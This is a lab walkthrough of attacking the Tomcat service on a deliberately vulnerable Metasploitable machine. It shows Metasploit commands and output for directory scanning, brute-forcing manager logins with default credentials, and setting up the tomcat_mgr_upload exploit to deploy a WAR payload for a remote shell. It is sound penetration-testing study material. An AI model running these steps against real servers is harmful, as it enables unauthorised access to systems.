Metasploitable/Apache/Tomcat and Coyote

Tomcat Service

We will attempt to abuse the Tomcat server in order to obtain access to the web server. The end goal is to obtain a shell on the web server.

Just a reminder of what the nmap scan returned about Apache Tomcat and Coyote: 

10.0.0.27  8180  tcp    http         open   Apache Tomcat/Coyote JSP engine 1.1

JSP stands for JavaServer Pages. All this means is, web pages accessed through port 8180 will be assembled by a Java web application.

What is tomcat

Apache Tomcat provides software to run Java applets in the browser. The nmap scan didn't return the version, so that's probably the first thing we'll want to figure out.

What is coyote

Coyote is a stand-alone web server that provides servlets to Tomcat applets. That is, it functions like the Apache web server, but for JavaServer Pages (JSP).

From the description of Coyote on the Tomcat page [1], it sounds like this server will be as susceptible to denial of service attacks as the Apache web server was.


Tomcat Recon

Let's start by doing some recon of the Tomcat server using the various HTTP scanners in Metasploit.

Running the HTTP dir scanner module turns up some goodies: 

msf auxiliary(dir_listing) > use auxiliary/scanner/http/dir_scanner
msf auxiliary(dir_scanner) > set RHOSTS 10.0.0.27
RHOSTS => 10.0.0.27
msf auxiliary(dir_scanner) > set RPORT 8180
RPORT => 8180
msf auxiliary(dir_scanner) > run

[*] Detecting error code
[*] Using code '404' as not found for 10.0.0.27
[*] Found http://10.0.0.27:8180/admin/ 200 (10.0.0.27)
[*] Found http://10.0.0.27:8180/jsp-examples/ 200 (10.0.0.27)
[*] Found http://10.0.0.27:8180/tomcat-docs/ 200 (10.0.0.27)
[*] Found http://10.0.0.27:8180/webdav/ 200 (10.0.0.27)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(dir_scanner) >

These turn up some interesting pages that can potentially be bypassed:

Metasploit Modules for Tomcat

The recon we do feeds into the choice of Metasploit modules that we make. First, we have a login page - this provides us with a way to brute-force login credentials. Second, we have a WebDAV interface, and a potential avenue for uploading a PHP shell. Third, the server works much like the Apache server, and is susceptible to denial of service attacks.

Login Credentials

We can do a comprehensive search for all Tomcat-related modules in metasploit: 

msf > search tomcat

We will focus on three modules: 

auxiliary/scanner/http/tomcat_mgr_login
exploit/multi/http/tomcat_mgr_deploy
exploit/multi/http/tomcat_mgr_upload

Specifically, to obtain login credentials, we'll focus on tomcat_mgr_login.

tomcat mgr login

This module is, obviously, for logging into Tomcat.

Here is info on this module from the Rapid7 website: https://www.rapid7.com/db/modules/auxiliary/scanner/http/tomcat_mgr_login

Printing out the various options, it looks like a brute force method:

Success! The username/password tomcat/tomcat will get us access to the server.

Uploading Java Executable with Metasploit

Just as obtaining a remote shell on the web server with Apache required uploading and executing a PHP script (see Metasploitable/Apache/DAV), obtaining a remote shell on the web server will require uploading and executing a file - but for Tomcat, the executable must be a JSP (JavaServer Pages) application.

Automated Metasploit File Upload

This is contained in the tomcat_mgr_upload module: 

msf auxiliary(dir_scanner) > use exploit/multi/http/tomcat_mgr_upload
msf exploit(tomcat_mgr_upload) > show options

Module options (exploit/multi/http/tomcat_mgr_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    no        The password for the specified username
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                       yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /manager         yes       The URI path of the manager app (/html/upload and /undeploy will be used)
   USERNAME                    no        The username to authenticate as
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Java Universal

Set Metasploit Options

Set some options for this exploit. We'll use the credentials we already found. 

msf exploit(tomcat_mgr_upload) > set USERNAME tomcat
USERNAME => tomcat
msf exploit(tomcat_mgr_upload) > set PASSWORD tomcat
PASSWORD => tomcat
msf exploit(tomcat_mgr_upload) > set RHOST 10.0.0.27
RHOST => 10.0.0.27
msf exploit(tomcat_mgr_upload) > set RPORT 8180
RPORT => 8180

The TARGETURIvariable should be left to the default, manager/ - not set to admin. 

msf exploit(tomcat_mgr_upload) > set TARGETURI /manager
TARGETURI => /manager

Additionally, we'll need to set the target architecture: 

msf exploit(tomcat_mgr_upload) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Java Universal
   1   Windows Universal
   2   Linux x86


msf exploit(tomcat_mgr_upload) > set TARGET 0
TARGET => 0

Run the Exploit

Now we are ready to run: 

msf exploit(tomcat_mgr_upload) > run

Nope.

I don't understand why - if I log in to the management page, I can see that the executable WAR is successfully being uploaded and executed by Metasploit. They are even RUNNING.

The path /manager/serverinfo exists.

Can configure the correct path to the Tomcat manager (which is /manager).

(Note: many admins will disable these Tomcat modules or change the name of directories.)

Uploading Java Executable Manually

For some reason, the metasploit automated payload deployment had some problems. However, we can still exploit this server manually.

The management web interface gives us a place to upload WAR files, and a way to execute them manually.

Tomcat upload.png

We can use Metasploit to craft a WAR file with the payload, then manually upload and execute it.
